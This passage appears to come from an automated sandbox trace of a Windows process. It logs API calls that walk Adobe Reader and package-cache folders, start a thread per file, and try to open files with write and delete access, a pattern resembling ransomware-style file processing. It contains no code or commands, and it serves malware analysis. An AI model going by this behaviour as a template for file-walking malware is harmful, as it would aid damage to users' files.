(HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0f00 [0153.117] wcscpy (in: _Dest=0x8d0f00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" [0153.117] wcscat (in: _Dest=0x8d0f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" [0153.117] wcscat (in: _Dest=0x8d0f00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*" [0153.117] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x968388 [0153.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942970 [0155.171] wcscmp (_String1=".", _String2=".") returned 0 [0155.171] FindNextFileW (in: hFindFile=0x942970, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.172] wcscmp (_String1="..", _String2=".") returned 1 [0155.172] wcscmp (_String1="..", _String2="..") returned 0 [0155.172] FindNextFileW (in: hFindFile=0x942970, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.172] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.172] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6f38 [0155.172] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" [0155.172] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" [0155.172] wcscat (in: _Dest=0x8e6f38, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\eula.ini" [0155.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1808 [0155.660] FindNextFileW (in: hFindFile=0x942970, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.660] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.660] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.661] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac7c0 [0155.661] wcscpy (in: _Dest=0x9ac7c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE" [0155.661] wcscat (in: _Dest=0x9ac7c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\" [0155.661] wcscat (in: _Dest=0x9ac7c0, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" [0155.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174 [0155.662] FindNextFileW (in: hFindFile=0x942970, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.662] FindClose (in: hFindFile=0x942970 | out: hFindFile=0x942970) returned 1 [0155.662] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x968388) returned 1 [0155.662] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0f00) returned 1 [0155.662] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0600) returned 1 Thread: id = 3325 os_tid = 0x65c [0153.117] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x92df50 [0153.117] wcscpy (in: _Dest=0x92df50, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" [0153.117] wcscat (in: _Dest=0x92df50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" [0153.117] wcscat (in: _Dest=0x92df50, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*" [0153.118] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967c50 [0153.118] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942770 [0155.171] wcscmp (_String1=".", _String2=".") returned 0 [0155.171] FindNextFileW (in: hFindFile=0x942770, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.171] wcscmp (_String1="..", _String2=".") returned 1 [0155.171] wcscmp (_String1="..", _String2="..") returned 0 [0155.171] FindNextFileW (in: hFindFile=0x942770, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.171] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.171] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6ea8 [0155.171] wcscpy (in: _Dest=0x8e6ea8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" [0155.171] wcscat (in: _Dest=0x8e6ea8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" [0155.171] wcscat (in: _Dest=0x8e6ea8, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\eula.ini" [0158.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1858 [0158.086] FindNextFileW (in: hFindFile=0x942770, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0158.086] wcscmp (_String1="license.html", _String2=".") returned 1 [0158.086] wcscmp (_String1="license.html", _String2="..") returned 1 [0158.086] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x941b28 [0158.087] wcscpy (in: _Dest=0x941b28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR" [0158.087] wcscat (in: _Dest=0x941b28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\" [0158.087] wcscat (in: _Dest=0x941b28, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" [0158.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x941b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee4 [0158.088] FindNextFileW (in: hFindFile=0x942770, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0158.088] FindClose (in: hFindFile=0x942770 | out: hFindFile=0x942770) returned 1 [0158.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967c50) returned 1 [0158.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92df50) returned 1 [0158.088] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0680) returned 1 Thread: id = 3326 os_tid = 0x7b4 [0153.118] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x92dfd0 [0153.118] wcscpy (in: _Dest=0x92dfd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" [0153.118] wcscat (in: _Dest=0x92dfd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" [0153.118] wcscat (in: _Dest=0x92dfd0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*" [0153.118] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967518 [0153.118] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9428b0 [0155.170] wcscmp (_String1=".", _String2=".") returned 0 [0155.170] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.170] wcscmp (_String1="..", _String2=".") returned 1 [0155.170] wcscmp (_String1="..", _String2="..") returned 0 [0155.170] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0155.170] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0155.170] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0155.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e78c8 [0155.170] wcscpy (in: _Dest=0x8e78c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" [0155.170] wcscat (in: _Dest=0x8e78c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" [0155.170] wcscat (in: _Dest=0x8e78c8, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\eula.ini" [0155.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e78c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1898 [0155.786] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0155.786] wcscmp (_String1="license.html", _String2=".") returned 1 [0155.786] wcscmp (_String1="license.html", _String2="..") returned 1 [0155.786] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x12c75d38 [0155.786] wcscpy (in: _Dest=0x12c75d38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" [0155.786] wcscat (in: _Dest=0x12c75d38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\" [0155.786] wcscat (in: _Dest=0x12c75d38, _Source="license.html" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" [0155.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c75d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac [0155.787] FindNextFileW (in: hFindFile=0x9428b0, lpFindFileData=0x967518 | out: lpFindFileData=0x967518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0155.787] FindClose (in: hFindFile=0x9428b0 | out: hFindFile=0x9428b0) returned 1 [0155.787] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967518) returned 1 [0155.787] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92dfd0) returned 1 [0155.787] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0f80) returned 1 Thread: id = 3327 os_tid = 0x658 [0153.118] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bbff8 [0153.118] wcscpy (in: _Dest=0xd4bbff8, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0153.119] wcscat (in: _Dest=0xd4bbff8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\" [0153.119] wcscat (in: _Dest=0xd4bbff8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" [0153.119] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966b78 [0153.119] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9420b0 [0153.119] wcscmp (_String1=".", _String2=".") returned 0 [0153.119] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.119] wcscmp (_String1="..", _String2=".") returned 1 [0153.119] wcscmp (_String1="..", _String2="..") returned 0 [0153.119] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b69ee00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7b69ee00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7b69ee00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0153.119] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0153.119] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0153.119] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0153.119] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0153.119] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0153.119] FindNextFileW (in: hFindFile=0x9420b0, lpFindFileData=0x966b78 | out: lpFindFileData=0x966b78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0153.119] FindClose (in: hFindFile=0x9420b0 | out: hFindFile=0x9420b0) returned 1 [0153.119] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966b78) returned 1 [0153.119] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbff8) returned 1 [0153.120] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904948) returned 1 Thread: id = 3341 os_tid = 0x9d0 [0153.140] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.hrv")) returned 0x20 [0155.184] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV", dwFileAttributes=0x20) returned 0 [0155.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.184] GetLastError () returned 0x5 [0155.185] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common 